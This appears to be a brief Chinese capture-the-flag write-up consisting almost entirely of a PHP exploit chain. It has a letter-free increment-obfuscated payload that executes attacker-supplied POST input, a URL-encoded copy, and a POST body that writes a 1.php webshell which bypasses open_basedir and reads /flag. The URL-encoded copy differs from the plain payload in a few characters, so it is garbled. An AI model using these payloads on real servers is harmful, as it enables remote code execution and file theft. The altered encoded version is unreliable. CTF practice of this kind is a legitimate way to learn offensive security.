借鉴此处Aninock的wp
https://www.cnblogs.com/aninock/p/16461151.html
利用自增 $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
url编码得：
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D''%3B%24__%3D%24%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
最后post写入：
_=file_put_contents('1.php',"'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
访问1.php